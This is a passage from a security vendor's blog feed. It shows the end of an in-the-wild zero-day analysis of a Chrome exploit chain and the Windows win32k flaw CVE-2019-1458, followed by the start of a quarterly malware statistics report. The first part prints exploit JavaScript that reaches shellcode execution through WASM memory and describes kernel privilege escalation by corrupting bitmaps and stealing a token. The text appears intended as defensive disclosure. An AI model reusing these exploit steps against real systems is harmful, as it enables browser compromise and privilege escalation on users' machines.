After the building of the arbitrary read/write primitives comes the final stage – executing the code. The exploit achieves this by using a popular technique that exploits the Web Assembly (WASM) functionality. Google Chrome currently allocates pages for just-in-time (JIT) compiled code with read/write/execute (RWX) privileges and this can be used to overwrite them with shellcode. At first, the exploit initiates a “stub” WASM module and it results in the allocation of memory pages for JIT compiled code.

const wasmBuffer = new Uint8Array([...]);
const wasmBlob = new Blob([wasmBuffer], {
	type: "application/wasm"
});
 
const wasmUrl = URL.createObjectURL(wasmBlob);
var wasmFuncA = undefined;
WebAssembly.instantiateStreaming(fetch(wasmUrl), {}).then(function(result) {
	wasmFuncA = result.instance.exports.a;
});

To execute the exported function wasmFuncA, the exploit creates a FileReader object. When this object is initiated with data it creates a FileReaderLoader object internally. If you can parse PartitionAlloc allocator structures and know the size of the next object that will be allocated, you can predict which address it will be allocated to. The exploit uses the getPartitionPageFreeListHeadEntryBySlotSize() function with the provided size and gets the address of the next free block that will be allocated by FileReaderLoader.

let fileReader = new FileReader;
let fileReaderLoaderSize = 0x140;
let fileReaderLoaderPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (!fileReaderLoaderPtr)
	return;
 
fileReader.readAsArrayBuffer(new Blob([]));
 
let fileReaderLoaderTestPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, fileReaderLoaderSize);
if (fileReaderLoaderPtr == fileReaderLoaderTestPtr)
	return;

The exploit obtains this address twice to find out if the FileReaderLoader object was created and if the exploit can continue execution. The exploit sets the exported WASM function to be a callback for a FileReader event (in this case, an onerror callback) and because the FileReader type is derived from EventTargetWithInlineData, it can be used to get the addresses of all its events and the address of the JIT compiled exported WASM function.

fileReader.onerror = wasmFuncA;
 
let fileReaderPtr = read64(freelist, fileReaderLoaderPtr + BigInt(0x10)) - BigInt(0x68);
 
let vectorPtr = read64(freelist, fileReaderPtr + BigInt(0x28));
let registeredEventListenerPtr = read64(freelist, vectorPtr);
let eventListenerPtr = read64(freelist, registeredEventListenerPtr);
let eventHandlerPtr = read64(freelist, eventListenerPtr + BigInt(0x8));
let jsFunctionObjPtr = read64(freelist, eventHandlerPtr + BigInt(0x8));
 
let jsFunctionPtr = read64(freelist, jsFunctionObjPtr) - BigInt(1);
let sharedFuncInfoPtr = read64(freelist, jsFunctionPtr + BigInt(0x18)) - BigInt(1);
let wasmExportedFunctionDataPtr = read64(freelist, sharedFuncInfoPtr + BigInt(0x8)) - BigInt(1);
let wasmInstancePtr = read64(freelist, wasmExportedFunctionDataPtr + BigInt(0x10)) - BigInt(1);
 
let stubAddrFieldOffset = undefined;
switch (majorVersion) {
	case 77:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(16);
	break;
	case 76:
    		stubAddrFieldOffset = BigInt(0x8) * BigInt(17);
	break
}
 
let stubAddr = read64(freelist, wasmInstancePtr + stubAddrFieldOffset);

The variable stubAddr contains the address of the page with the stub code that jumps to the JIT compiled WASM function. At this stage it’s sufficient to overwrite it with shellcode. To do so, the exploit uses the function getPartitionPageFreeListHeadEntryBySlotSize() again to find the next free block of 0x20 bytes, which is the size of the structure for the ArrayBuffer object. This object is created when the exploit creates a new audio buffer.

let arrayBufferSize = 0x20;
let arrayBufferPtr = getPartitionPageFreeListHeadEntryBySlotSize(freelist, iirFilterFeedforwardAllocationPtr, arrayBufferSize);
if (!arrayBufferPtr)
	return;
 
let audioBuffer = audioCtx.createBuffer(1, 0x400, 6000);
gcPreventer.push(audioBuffer);

The exploit uses arbitrary read/write primitives to get the address of the DataHolder class that contains the raw pointer to the data and size of the audio buffer. The exploit overwrites this pointer with stubAddr and sets a huge size.

let dataHolderPtr = read64(freelist, arrayBufferPtr + BigInt(0x8));
 
write64(freelist, dataHolderPtr + BigInt(0x8), stubAddr);
write64(freelist, dataHolderPtr + BigInt(0x10), BigInt(0xFFFFFFF));

Now all that’s needed is to implant a Uint8Array object into the memory of this audio buffer and place shellcode there along with the Portable Executable that will be executed by the shellcode.

let payloadArray = new Uint8Array(audioBuffer.getChannelData(0).buffer);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);

To prevent the possibility of a crash the exploit clears the pointer to the top of the FreeList structure used by the PartitionPage.

write64(freelist, partitionPagePtr, BigInt(0));

Now, in order to execute the shellcode, it’s enough to call the exported WASM function.

try {
	wasmFuncA();
} catch (e) {}

Microsoft Windows elevation of privilege exploit

The shellcode appeared to be a Reflective PE loader for the Portable Executable module that was also present in the exploit. This module mostly consisted of the code to escape Google Chrome’s sandbox by exploiting the Windows kernel component win32k for the elevation of privileges and it was also responsible for downloading and executing the actual malware. On closer analysis, we found that the exploited vulnerability was in fact a zero-day. We notified Microsoft Security Response Center and they assigned it CVE-2019-1458 and fixed the vulnerability. The win32k component has something of bad reputation. It has been present since Windows NT 4.0 and, according to Microsoft, it is responsible for more than 50% of all kernel security bugs. In the last two years alone Kaspersky has found five zero-days in the wild that exploited win32k vulnerabilities. That’s quite an interesting statistic considering that since the release of Windows 10, Microsoft has implemented a number of mitigations aimed at complicating exploitation of win32k vulnerabilities and the majority of zero-days that we found exploited versions of Microsoft Windows prior to the release of Windows 10 RS4. The elevation of privilege exploit used in Operation WizardOpium was built to support Windows 7, Windows 10 build 10240 and Windows 10 build 14393. It’s also important to note that Google Chrome has a special security feature called Win32k lockdown. This security feature eliminates the whole win32k attack surface by disabling access to win32k syscalls from inside Chrome processes. Unfortunately, Win32k lockdown is only supported on machines running Windows 10. So, it’s fair to assume that Operation WizardOpium targeted users running Windows 7.

CVE-2019-1458 is an Arbitrary Pointer Dereference vulnerability. In win32k Window objects are represented by a tagWND structure. There are also a number of classes based on this structure: ScrollBar, Menu, Listbox, Switch and many others. The FNID field of tagWND structure is used to distinguish the type of class. Different classes also have various extra data appended to the tagWND structure. This extra data is basically just different structures that often include kernel pointers. Besides that, in the win32k component there’s a syscall SetWindowLongPtr that can be used to set this extra data (after validation of course). It’s worth noting that SetWindowLongPtr was related to a number of vulnerabilities in the past (e.g., CVE-2010-2744, CVE-2016-7255, and CVE-2019-0859). There’s a common issue when pre-initialized extra data can lead to system procedures incorrectly handling. In the case of CVE-2019-1458, the validation performed by SetWindowLongPtr was just insufficient.

xxxSetWindowLongPtr(tagWND *pwnd, int index, QWORD data, ...)
	...
	if ( (int)index >= gpsi->mpFnid_serverCBWndProc[(pwnd->fnid & 0x3FFF) - 0x29A] - sizeof(tagWND) )
		...
		extraData = (BYTE*)tagWND + sizeof(tagWND) + index
		old = *(QWORD*)extraData;
		*(QWORD*)extraData = data;
		return old;

A check for the index parameter would have prevented this bug, but prior to the patch the values for FNID_DESKTOP, FNID_SWITCH, FNID_TOOLTIPS inside the mpFnid_serverCBWndProc table were not initialized, rendering this check useless and allowing the kernel pointers inside the extra data to be overwritten.

Triggering the bug is quite simple: at first, you create a Window, then NtUserMessageCall can be used to call any system class window procedure.

gpsi->mpFnidPfn[(dwType + 6) & 0x1F]((tagWND *)wnd, msg, wParam, lParam, resultInfo);

It’s important to provide the right message and dwType parameters. The message needs to be equal to WM_CREATE. dwType is converted to fnIndex internally with the following calculation: (dwType + 6) & 0x1F. The exploit uses a dwType equal to 0xE0. It results in an fnIndex equal to 6 which is the function index of xxxSwitchWndProc and the WM_CREATE message sets the FNID field to be equal to FNID_SWITCH.

LRESULT xxxSwitchWndProc(tagWND *wnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
...
  pti = *(tagTHREADINFO **)&gptiCurrent;
  if ( wnd->fnid != FNID_SWITCH )
  {
    if ( wnd->fnid || wnd->cbwndExtra + 296 < (unsigned int)gpsi->mpFnid_serverCBWndProc[6] )
      return 0i64;
    if ( msg != 1 )
      return xxxDefWindowProc(wnd, msg, wParam, lParam);
    if ( wnd[1].head.h )
      return 0i64;
    wnd->fnid = FNID_SWITCH;
  }
  switch ( msg )
  {
    case WM_CREATE:
      zzzSetCursor(wnd->pcls->spcur, pti, 0i64);
      break;
    case WM_CLOSE:
      xxxSetWindowPos(wnd, 0, 0);
      xxxCancelCoolSwitch();
      break;
    case WM_ERASEBKGND:
    case WM_FULLSCREEN:
      pti->ptl = (_TL *)&pti->ptl;
      ++wnd->head.cLockObj;
      xxxPaintSwitchWindow(wnd, pti, 0i64);
      ThreadUnlock1();
      return 0i64;
  }
  return xxxDefWindowProc(wnd, msg, wParam, lParam);
}

The vulnerability in NtUserSetWindowLongPtr can then be used to overwrite the extra data at index zero, which happens to be a pointer to a structure containing information about the Switch Window. In other words, the vulnerability makes it possible to set some arbitrary kernel pointer that will be treated as this structure.

At this stage it’s enough to call NtUserMessageCall again, but this time with a message equal to WM_ERASEBKGND. This results in the execution of the function xxxPaintSwitchWindow that increments and decrements a couple of integers located by the pointer that we previously set.

sub     [rdi+60h], ebx
add     [rdi+68h], ebx
...
sub     [rdi+5Ch], ecx
add     [rdi+64h], ecx

An important condition for triggering the exploitable code path is that the ALT key needs to be pressed.

Exploitation is performed by abusing Bitmaps. For successful exploitation a few Bitmaps need to be allocated next to each other, and their kernel addresses need to be known. To achieve this, the exploit uses two common kernel ASLR bypass techniques. For Windows 7 and Windows 10 build 10240 (Threshold 1) the Bitmap kernel addresses are leaked via the GdiSharedHandleTable technique: in older versions of the OS there is a special table available in the user level that holds the kernel addresses of all GDI objects present in the process. This particular technique was patched in Windows 10 build 14393 (Redstone 1), so for this version the exploit uses another common technique that abuses Accelerator Tables (patched in Redstone 2). It involves creating a Create Accelerator Table object, leaking its kernel address from the gSharedInfo HandleTable available in the user level, and then freeing the Accelerator Table object and allocating a Bitmap reusing the same memory address.

The whole exploitation process works as follows: the exploit creates three bitmaps located next to each other and their addresses are leaked. The exploit prepares Switch Window and uses a vulnerability in NtUserSetWindowLongPtr to set an address pointing near the end of the first Bitmap as Switch Window extra data. Bitmaps are represented by a SURFOBJ structure and the previously set address needs to be calculated in a way that will make the xxxPaintSwitchWindow function increment the sizlBitmap field of the SURFOBJ structure for the Bitmap allocated next to the first one. The sizlBitmap field indicates the bounds of the pixel data buffer and the incremented value will allow the use of the function SetBitmapBits() to perform an out-of-bounds write and overwrite the SURFOBJ of the third Bitmap object.

The pvScan0 field of the SURFOBJ structure is an address of the pixel data buffer, so the ability to overwrite it with an arbitrary pointer results in arbitrary read/write primitives via the functions GetBitmapBits()/SetBitmapBits(). The exploit uses these primitives to parse the EPROCESS structure and steal the system token. To get the kernel address of the EPROCESS structure, the exploit uses the function EnumDeviceDrivers. This function works according to its MSDN description and it provides a list of kernel addresses for currently loaded drivers. The first address in the list is the address of ntkrnl and to get the offset to the EPROCESS structure the exploit parses an executable in search for the exported PsInitialSystemProcess variable.

It’s worth noting that this technique still works in the latest versions of Windows (tested with Windows 10 19H1 build 18362). Stealing the system token is the most common post exploitation technique that we see in the majority of elevation of privilege exploits. After acquiring system privileges the exploit downloads and executes the actual malware.

Conclusions

It was particularly interesting for us to examine the Chrome exploit because it was the first Google Chrome in-the-wild zero-day encountered for a while. It was also interesting that it was used in combination with an elevation of privilege exploit that didn’t allow exploitation on the latest versions of Windows mostly due to the Win32k lockdown security feature of Google Chrome. With regards to privilege elevation, it was also interesting that we found another 1-day exploit for this vulnerability just one week after the patch, indicating how simple it is to exploit this vulnerability.

We would like to thank the Google Chrome and Microsoft security teams for fixing these vulnerabilities so quickly. Google was generous enough to offer a bounty for CVE-2019-13720. The reward was donated to charity and Google matched the donation.

]]>
https://securelist.com/the-zero-day-exploits-of-operation-wizardopium/97086/feed/ 1 full large medium thumbnail
IT threat evolution Q3 2019. Statistics https://securelist.com/it-threat-evolution-q3-2019-statistics/95269/ https://securelist.com/it-threat-evolution-q3-2019-statistics/95269/#respond Fri, 29 Nov 2019 10:00:19 +0000 https://kasperskycontenthub.com/securelist/?p=95269

These statistics are based on detection verdicts of Kaspersky products received from users who consented to provide statistical data.

Quarterly figures

According to Kaspersky Security Network:

  • Kaspersky solutions blocked 989,432,403 attacks launched from online resources in 203 countries across the globe.
  • 560,025,316 unique URLs were recognized as malicious by Web Anti-Virus components.
  • Attempted infections by malware designed to steal money via online access to bank accounts were blocked on the computers of 197,559 users.
  • Ransomware attacks were defeated on the computers of 229,643 unique users.
  • Our File Anti-Virus detected 230,051,054 unique malicious and potentially unwanted objects.
  • Kaspersky products for mobile devices detected:
    • 870,617 malicious installation packages
    • 13,129 installation packages for mobile banking Trojans
    • 13,179 installation packages for mobile ransomware Trojans

Mobile threats

Quarterly highlights

In Q3 2019, we discovered an extremely unpleasant incident with the popular CamScanner app on Google Play. The new version of the app contained an ad library inside with the Trojan dropper Necro built in. Judging by the reviews on Google Play, the dropper’s task was to activate paid subscriptions, although it could deliver another payload if required.

Another interesting Trojan detected in Q3 2019 is Trojan.AndroidOS.Agent.vn. Its main function is to “like” Facebook posts when instructed by its handlers. Interestingly, to make the click, the Trojan attacks the Facebook mobile app on the infected device, literally forcing it to execute its command.

In the same quarter, we discovered new FinSpy spyware Trojans for iOS and Android. In the fresh versions, the focus is on snooping on correspondence in messaging apps. The iOS version requires a jailbreak to do its job, while the Android version is able to spy on the encrypted Threema app among others.

Mobile threat statistics

In Q3 2019, Kaspersky detected 870,617 malicious installation packages.

Whereas in previous quarters we observed a noticeable drop in the number of new installation packages, Q3’s figure was up by 117,067 packages compared to the previous quarter.

Distribution of detected mobile apps by type

Among all the mobile threats detected in Q3 2019, the lion’s share went to potentially unsolicited RiskTool-class programs (32.1%), which experienced a fall of 9 p.p. against the previous quarter. The most frequently detected objects were in the RiskTool.AndroidOS families: Agent (33.07% of all detected threats in this class), RiskTool.AndroidOS.Wapron (16.43%), and RiskTool.AndroidOS.Smssend (10.51%).

Second place went to miscellaneous Trojans united under the Trojan class (21.68%), their share increased by 10 p.p. The distribution within the class was unchanged since the previous quarter, with the Trojan.AndroidOS.Hiddapp (32.5%), Trojan.AndroidOS.Agent (12.8%), and Trojan.AndroidOS.Piom (9.1% ) families remaining in the lead. Kaspersky’s machine-learning systems made a significant contribution to detecting threats: Trojans detected by this technology (the Trojan.AndroidOS.Boogr verdict) made up 28.7% — second place after Hiddapp.

In third place were Adware-class programs (19.89%), whose share rose by 1 p.p. in the reporting period. Most often, adware programs belonged to one of the following families: AdWare.AndroidOS.Ewind (20.73% of all threats in this class), AdWare.AndroidOS.Agent (20.36%), and AdWare.AndroidOS.MobiDash (14.27%).

Threats in the Trojan-Dropper class (10.44%) remained at the same level with insignificant (0.5 p.p.) growth. The vast majority of detected droppers belonged to the Trojan-Dropper.AndroidOS.Wapnor family (69.7%). A long way behind in second and third place, respectively, were Trojan-Dropper.AndroidOS.Wroba (14.58%) and Trojan-Dropper.AndroidOS.Agent (8.75%).

TOP 20 mobile malware programs

Note that this malware rating does not include potentially dangerous or unwanted programs classified as RiskTool or adware.

Verdict %*
1 DangerousObject.Multi.Generic 48.71
2 Trojan.AndroidOS.Boogr.gsh 9.03
3 Trojan.AndroidOS.Hiddapp.ch 7.24
4 Trojan.AndroidOS.Hiddapp.cr 7.23
5 Trojan-Dropper.AndroidOS.Necro.n 6.87
6 DangerousObject.AndroidOS.GenericML 4.34
7 Trojan-Downloader.AndroidOS.Helper.a 1.99
8 Trojan-Banker.AndroidOS.Svpeng.ak 1.75
9 Trojan-Dropper.AndroidOS.Agent.ok 1.65
10 Trojan-Dropper.AndroidOS.Hqwar.gen 1.52
11 Trojan-Dropper.AndroidOS.Hqwar.bb 1.46
12 Trojan-Downloader.AndroidOS.Necro.b 1.45
13 Trojan-Dropper.AndroidOS.Lezok.p 1.44
14 Trojan.AndroidOS.Hiddapp.cf 1.41
15 Trojan.AndroidOS.Dvmap.a 1.27
16 Trojan.AndroidOS.Agent.rt 1.24
17 Trojan-Banker.AndroidOS.Asacub.snt 1.21
18 Trojan-Dropper.AndroidOS.Necro.q 1.19
19 Trojan-Dropper.AndroidOS.Necro.l 1.12
20 Trojan-SMS.AndroidOS.Prizmes.a 1.12

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile solutions that were attacked.

First place in our TOP 20 as ever went to DangerousObject.Multi.Generic (48.71%), the verdict we use for malware detected using cloud technologies. Cloud technologies are deployed when the antivirus databases lack data for detecting a piece of malware, but the company’s cloud already contains information about the object. This is basically how the latest malicious programs are detected.

Second and six places were claimed by Trojan.AndroidOS.Boogr.gsh (9.03%) and DangerousObject.AndroidOS.GenericML (4.34%). These verdicts are assigned to files recognized as malicious by our machine-learning systems.

Third, fourth, and fourteenth places were taken by members of the Trojan.AndroidOS.Hiddapp family, whose task is to covertly foist ads onto victims.

Fifth, twelfth, eighteenth, and nineteenth positions went to Trojan droppers of the Necro family. Although this family showed up on the radar last quarter, really serious activity was observed only in this reporting period.

Seventh place goes to Trojan-Downloader.AndroidOS.Helper.a (1.99%), which is what members of the Necro family usually extract from themselves. Helper.a is tasked with downloading arbitrary code from malicious servers and running it.

The eighth place was taken by the malware Trojan-Banker.AndroidOS.Svpeng.ak (1.75%), the main task of which is to steal online banking credentials and intercept two-factor authorization codes.

Ninth position went to Trojan-Dropper.AndroidOS.Agent.ok (1.65%), which is distributed under the guise of FlashPlayer or a Rapidshare client. Most commonly, it drops adware modules into the infected system.

Tenth and eleventh places went to members of the Trojan-Banker.AndroidOS.Hqwar family. The popularity of this dropper among cybercriminals continues to fall.

Geography of mobile threats

TOP 10 countries by share of users attacked by mobile malware

Country* %**
1 Iran 52.68
2 Bangladesh 30.94
3 India 28.75
4 Pakistan 28.13
5 Algeria 26.47
6 Indonesia 23.38
7 Nigeria 22.46
8 Tanzania 21.96
9 Saudi Arabia 20.05
10 Egypt 19.44

* Excluded from the rating are countries with relatively few users of Kaspersky mobile solutions (under 10,000).
** Unique users attacked by mobile bankers as a percentage of all users of Kaspersky mobile solutions in the country.

In Q3’s TOP 10, Iran (52.68%) retained top spot by share of attacked users. Note that over the reporting period the country’s share almost doubled. Kaspersky users in Iran most often encountered the adware app AdWare.AndroidOS.Agent.fa (22.03% of the total number of mobile threats), adware installing Trojan.AndroidOS.Hiddapp.bn (14.68% ) and the potentially unwanted program RiskTool.AndroidOS.Dnotua.yfe (8.84%).

Bangladesh (30.94%) retained second place in the ranking. Users in this country most frequently encountered adware programs, including AdWare.AndroidOS.Agent.fс (27.58% of the total number of mobile threats) and AdWare.AndroidOS.HiddenAd.et (12.65%), as well as Trojan.AndroidOS.Hiddapp.cr (20.05%), which downloads adware programs.

India (28.75%) climbed to third place due to the same threats that were more active than others in Bangladesh: AdWare.AndroidOS.Agent.fс (36.19%), AdWare.AndroidOS.HiddenAd.et (17.17%) and Trojan.AndroidOS.Hiddapp.cr (22.05%).

Mobile banking Trojans

In the reporting period, we detected 13,129 installation packages for mobile banking Trojans, only 770 fewer than in Q2 2019.

The largest contributions to the statistics came from the Trojan-Banker.AndroidOS.Svpeng (40.59% of all detected banking Trojans), Trojan-Banker.AndroidOS. Agent (11.84%), and Trojan-Banker.AndroidOS.Faketoken (11.79%) families.

TOP 10 mobile banking Trojans

Verdict %*
1 Trojan-Banker.AndroidOS.Svpeng.ak 16.85
2 Trojan-Banker.AndroidOS.Asacub.snt 11.61
3 Trojan-Banker.AndroidOS.Svpeng.q 8.97
4 Trojan-Banker.AndroidOS.Asacub.ce 8.07
5 Trojan-Banker.AndroidOS.Agent.ep 5.51
6 Trojan-Banker.AndroidOS.Asacub.a 5.27
7 Trojan-Banker.AndroidOS.Faketoken.q 5.26
8 Trojan-Banker.AndroidOS.Agent.eq 3.62
9 Trojan-Banker.AndroidOS.Faketoken.snt 2.91
10 Trojan-Banker.AndroidOS.Asacub.ar 2.81

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile solutions that were attacked by banking threats.

The TOP 10 banking threats in Q3 2019 was headed by Trojans of the Trojan-Banker.AndroidOS.Svpeng family: Svpeng.ak (16.85%) took first place, and Svpeng.q (8.97%) third. This is not the first time we have detected amusing obfuscation in Trojans from Russian-speaking cybercriminals — this time the code of the malware Svpeng.ak featured the names of video games.

Second, fourth, sixth, and tenth positions in Q3 went to the Asacub Trojan family. Despite a decrease in activity, Asacub samples are still found on devices around the world.

TOP 10 countries by share of users attacked by mobile banking Trojans:

Country* %**
1 Russia 0.30
2 South Africa 0.20
3 Kuwait 0.18
4 Tajikistan 0.13
5 Spain 0.12
6 Indonesia 0.12
7 China 0.11
8 Singapore 0.11
9 Armenia 0.10
10 Uzbekistan 0.10

* Excluded from the rating are countries with relatively few users of Kaspersky mobile solutions (under 10,000).
** Unique users attacked by mobile banking Trojans as a percentage of all users of Kaspersky mobile solutions in the country.

In Q3 Russia moved up to first place (0.30%), which impacted the entire pattern of mobile bankers spread around the world. Users in Russia were most often targeted with Trojan-Banker.AndroidOS.Svpeng.ak (17.32% of all attempts to infect unique users with mobile financial malware). The same Trojan made it into the TOP 10 worldwide. It is a similar story with second and third places: Trojan-Banker.AndroidOS.Asacub.snt (11.86%) and Trojan-Banker.AndroidOS.Svpeng.q (9.20%).

South Africa fell to second place (0.20%), where for the second quarter in a row Trojan-Banker.AndroidOS.Agent.dx (89.80% of all mobile financial malware) was the most widespread threat.

Bronze went to Kuwait (0.21%), where, like in South Africa, Trojan-Banker.AndroidOS.Agent.dx (75%) was most often encountered.

Mobile ransomware Trojans

In Q3 2019, we detected 13,179 installation packages for mobile ransomware — 10,115 fewer than last quarter. We observed a similar drop in Q2, so since the start of the year the number of mobile ransomware Trojans has decreased almost threefold. The reason, as we see it, is the decline in activity of the group behind the Asacub Trojan.

TOP 10 mobile ransomware Trojans

Verdict %*
1 Trojan-Ransom.AndroidOS.Svpeng.aj 40.97
2 Trojan-Ransom.AndroidOS.Small.as 8.82
3 Trojan-Ransom.AndroidOS.Svpeng.ah 5.79
4 Trojan-Ransom.AndroidOS.Rkor.i 5.20
5 Trojan-Ransom.AndroidOS.Rkor.h 4.78
6 Trojan-Ransom.AndroidOS.Small.o 3.60
7 Trojan-Ransom.AndroidOS.Svpeng.ai 2.93
8 Trojan-Ransom.AndroidOS.Small.ce 2.93
9 Trojan-Ransom.AndroidOS.Fusob.h 2.72
10 Trojan-Ransom.AndroidOS.Small.cj 2.66

* Unique users attacked by this malware as a percentage of all users of Kaspersky mobile solutions that were attacked by ransomware Trojans.

In Q3 2019, the leading positions among ransomware Trojans were retained by members of the Trojan-Ransom.AndroidOS.Svpeng family. Top spot, as in the previous quarter, was claimed by Svpeng.aj (40.97%), with Svpeng.ah (5.79%) in third.

TOP 10 countries by share of users attacked by mobile ransomware Trojans:

Country* %**
1 US 1.12
2 Iran 0.25
3 Kazakhstan 0.25
4 Oman 0.09
5 Qatar 0.08
6 Saudi Arabia 0.06
7 Mexico 0.05
8 Pakistan 0.05
9 Kuwait 0.04
10 Indonesia 0.04

* Excluded from the rating are countries with relatively few users of Kaspersky mobile solutions (under 10,000).
** Unique users attacked by mobile ransomware Trojans as a percentage of all users of Kaspersky mobile solutions in the country.

The leaders by number of users attacked by mobile ransomware Trojans, as in the previous quarter, were the US (1.12%), Iran (0.25%), and Kazakhstan (0.25%)

Attacks on Apple macOS

Q3 saw a lull in the emergence of new threats. An exception was the distribution of a modified version of the Stockfolio investment app, which contained an encrypted reverse shell backdoor.

TOP 20 threats for macOS

Verdict %*
1 Trojan-Downloader.OSX.Shlayer.a 22.71
2 AdWare.OSX.Pirrit.j 14.43
3 AdWare.OSX.Pirrit.s 11.73
4 AdWare.OSX.Pirrit.p 10.43
5 AdWare.OSX.Pirrit.o 9.71
6 AdWare.OSX.Bnodlero.t 8.40
7 AdWare.OSX.Spc.a 7.32
8 AdWare.OSX.Cimpli.d 6.92
9 AdWare.OSX.MacSearch.a 4.88
10 Adware.OSX.Agent.d 4.71
11 AdWare.OSX.Ketin.c 4.63
12 AdWare.OSX.Ketin.b 4.10
13 Downloader.OSX.InstallCore.ab 4.01
14 AdWare.OSX.Cimpli.e 3.86
15 AdWare.OSX.Bnodlero.q 3.78
16 AdWare.OSX.Cimpli.f 3.76
17 AdWare.OSX.Bnodlero.x 3.49
18 AdWare.OSX.Mcp.a 3.26
19 AdWare.OSX.MacSearch.d 3.18
20 AdWare.OSX.Amc.a 3.15

* Unique users attacked by this malware as a percentage of all users of Kaspersky security solutions for macOS that were attacked.

Like last quarter, the adware Trojan Shlayer was the top threat for macOS. This malware in turn downloaded adware programs of the Pirrit family, as a result of which its members took the second to fifth positions in our ranking.

Threat geography

Country* %**
1 France 6.95
2 India 6.24
3 Spain 5.61
4 Italy 5.29
5 US 4.84
6 Russia 4.79
7 Brazil 4.75
8 Mexico 4.68
9 Canada 4.46
10 Australia 4.27

* Excluded from the rating are countries with relatively few users of Kaspersky security solutions for macOS (under 10,000)
** Unique users attacked as a percentage of all users of Kaspersky security solutions for macOS in the country.

The geographical distribution of attacked users underwent some minor changes: India took silver with 6.24% of attacked users, while Spain came in third with 5.61%. France (6.95%) hung on to first position.

IoT attacks

IoT threat statistics

In Q3, the trend continued toward a decrease in the number of IP addresses of devices used to carry out attacks on Kaspersky Telnet honeypots. If in Q2 Telnet’s share was still significantly higher than that of SSH, in Q3 the figures were almost equal.

SSH 48.17%
Telnet 51.83%

Distribution of attacked services by number of unique IP addresses of devices that carried out attacks, Q3 2019

As for the number of sessions involving Kaspersky traps, we noted that in Q3 Telnet-based control was also deployed more often.

SSH 40.81%
Telnet 59.19%

Distribution of cybercriminal working sessions with Kaspersky traps, Q3 2019

Telnet-based attacks

TOP 10 countries by location of devices from which telnet-based attacks were carried out on Kaspersky traps

Country %*
1 China 13.78
2 Egypt 10.89
3 Brazil 8.56
4 Taiwan 8.33
5 US 4.71
6 Russia 4.35
7 Turkey 3.47
8 Vietnam 3.44
9 Greece 3.43
10 India 3.41

Last quarter’s leaders Egypt (10.89%), China (13.78%), and Brazil (8.56%) again made up the TOP 3, the only difference being that this time China took the first place.

Telnet-based attacks most often resulted in the download of a member of the notorious Mirai family.

TOP 10 malware downloaded to infected IoT devices via successful telnet-based attacks

Verdict %*
1 Backdoor.Linux.Mirai.b 38.08
2 Trojan-Downloader.Linux.NyaDrop.b 27.46
3 Backdoor.Linux.Mirai.ba 16.52
4 Backdoor.Linux.Gafgyt.bj 2.76
5 Backdoor.Linux.Mirai.au 2.21
6 Backdoor.Linux.Mirai.c 2.02
7 Backdoor.Linux.Mirai.h 1.81
8 Backdoor.Linux.Mirai.ad 1.66
9 Backdoor.Linux.Gafgyt.az 0.86
10 Backdoor.Linux.Mirai.a 0.80

* Share of malware type in the total amount of malware downloaded to IoT devices following a successful Telnet-based attack.

SSH-based attacks

TOP 10 countries by location of devices from which attacks were made on Kaspersky SSH traps

Country %*
1 Egypt 17.06
2 Vietnam 16.98
3 China 13.81
4 Brazil 7.37
5 Russia 6.71
6 Thailand 4.53
7 US 4.13
8 Azerbaijan 3.99
9 India 2.55
10 France 1.53

In Q3 2019, the largest number of attacks on Kaspersky traps using the SSH protocol came from Egypt (17.06%). Vietnam (16.98%) and China (13.81%) took second and third places, respectively.

Financial threats

Financial threat statistics

In Q3 2019, Kaspersky solutions blocked attempts to launch one or more types of malware designed to steal money from bank accounts on the computers of 197,559 users.

Attack geography

To evaluate and compare the risk of being infected by banking Trojans and ATM/POS malware worldwide, for each country we calculated the share of users of Kaspersky products that faced this threat during the reporting period out of all users of our products in that country.

TOP 10 countries by share of attacked users

Country* %**
1 Belarus 2.9
2 Uzbekistan 2.1
3 South Korea 1.9
4 Venezuela 1.8
5 Tajikistan 1.4
6 Afghanistan 1.3
7 China 1.2
8 Syria 1.2
9 Yemen 1.2
10 Sudan 1.1

* Excluded are countries with relatively few Kaspersky product users (under 10,000).
** Unique users whose computers were targeted by banking Trojans as a percentage of all unique users of Kaspersky products in the country.

TOP 10 banking malware families

Name Verdicts %*
1 Zbot Trojan.Win32.Zbot 26.7
2 Emotet Backdoor.Win32.Emotet 23.9
3 RTM Trojan-Banker.Win32.RTM 19.3
4 Nimnul Virus.Win32.Nimnul 6.6
5 Trickster Trojan.Win32.Trickster 5.8
6 CliptoShuffler Trojan-Banker.Win32.CliptoShuffler 5.4
7 Nymaim Trojan.Win32.Nymaim 3.6
8 SpyEye Trojan-Spy.Win32.SpyEye 3.4
9 Danabot Trojan-Banker.Win32.Danabot 3.3
10 Neurevt Trojan.Win32.Neurevt 1.8

** Unique users attacked by this malware as a percentage of all users attacked by financial malware.

The TOP 3 in Q3 2019 had the same faces as last quarter, only in a different order: the RTM family (19.3%) dropped from first to third, shedding almost 13 p.p., allowing the other two — Zbot (26.7%) and Emotet (23.9%) — to climb up. Last quarter we noted a decline in the activity of Emotet servers, but in Q3 it came back on track, with Emotet’s share growing by more than 15 p.p.

Fourth and fifth places did not change at all — still occupied by Nimnul (6.6%) and Trickster (5.8%). Their scores rose insignificantly, less than 1 p.p. Of the new entries in our TOP 10, worth noting is the banker CliptoShuffler (5.4%), which stormed straight into sixth place.

Ransomware programs

Quarterly highlights

The number of ransomware attacks against government agencies, as well as organizations in the healthcare, education, and energy sectors, continues to rise. This trend we noted back in the previous quarter.

A new type of attack, one on network attached storages (NAS), is gaining ground. The infection scheme involves attackers scanning IP address ranges in search of NAS devices accessible via the Internet. Generally, only the web interface is accessible from the outside, protected by an authentication page; however, a number of devices have vulnerabilities in the firmware. This enables cybercriminals, by means of an exploit, to install on the device a Trojan that encrypts all data on NAS-connected media. This is a particularly dangerous attack, since in many cases the NAS is used to store backups, and such devices are generally perceived by their owners as a reliable means of storage, and the mere possibility of an infection can come as a shock.

Wipers have also become a more frequent attack tool. Like ransomware, such programs rename files and make ransom demands. But these Trojans irreversibly ruin the file contents (replacing them with zeros or random bytes), so even if the victim pays up, the original files are lost.

The FBI published decryption keys for GandCrab (verdict Trojan-Ransom.Win32.GandCrypt) versions 4 and 5. The decryption was added to the latest RakhniDecryptor build.

